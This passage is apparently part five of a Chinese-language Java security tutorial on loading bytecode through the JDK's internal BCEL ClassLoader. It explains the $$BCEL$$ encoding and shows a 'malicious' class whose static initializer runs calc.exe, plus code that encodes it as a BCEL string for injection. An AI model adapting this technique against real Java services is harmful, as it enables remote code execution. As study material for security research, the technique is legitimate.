Java安全之动态加载字节码( 五 )


Java安全之动态加载字节码

文章插图
利用BCEL ClassLoader加载字节码关于BCEL先看看p神的:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel
被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中 。
BCEL属于Apache Commons项目下的一个子项目,全名应Apache Commons BCE,它提供了一系列用于分析、修改和创建Java Class文件的API,从库功能来看 , 使用性远不及其他库,但被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中位com.sun.org.apache.bcel 。
BCEL包中有com.sun.org.apache.bcel.internal.util.ClassLoader类,它是一个ClassLoader,但重写了Java内置的ClassLoader#LoadClass方法
在LoadClass中,会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode来看一下decode的具体算法:
private static class JavaWriter extends FilterWriter {    public JavaWriter(Writer out) {      super(out);    }    public void write(int b) throws IOException {      if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {        out.write(b);      } else {        out.write(ESCAPE_CHAR); // Escape character        // Special escape        if(b >= 0 && b < FREE_CHARS) {          out.write(CHAR_MAP[b]);        } else { // Normal escape          char[] tmp = Integer.toHexString(b).toCharArray();          if(tmp.length == 1) {            out.write('0');            out.write(tmp[0]);          } else {            out.write(tmp[0]);            out.write(tmp[1]);          }        }      }    }    public void write(char[] cbuf, int off, int len) throws IOException {      for(int i=0; i < len; i++)        write(cbuf[off + i]);    }    public void write(String str, int off, int len) throws IOException {      write(str.toCharArray(), off, len);    }  }可以理解为是传统字节码的16进制编码,然后将 \ 替换为 $ ,默认还会在最外层加上 GZip 压缩
边写恶意类
package org.gk0d;import java.io.IOException;public class calc{    static  {        try {            Runtime.getRuntime().exec("calc.exe");        } catch (IOException e) {            e.printStackTrace();        }    }}然后通过BCEL提供的两个类Repository和utility来利用:
Repository用于将一个Java Class先转换成原生字节码(也可以直接javac编译获得);utility用于将原生字节码转换成BCEL格式的字节码package org.gk0d;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;public class POP {    public static void main(String[] args) throws Exception{        JavaClass javaClass = Repository.lookupClass(calc.class);        String code = Utility.encode(javaClass.getBytes(),true);        System.out.println(code);    }}

推荐阅读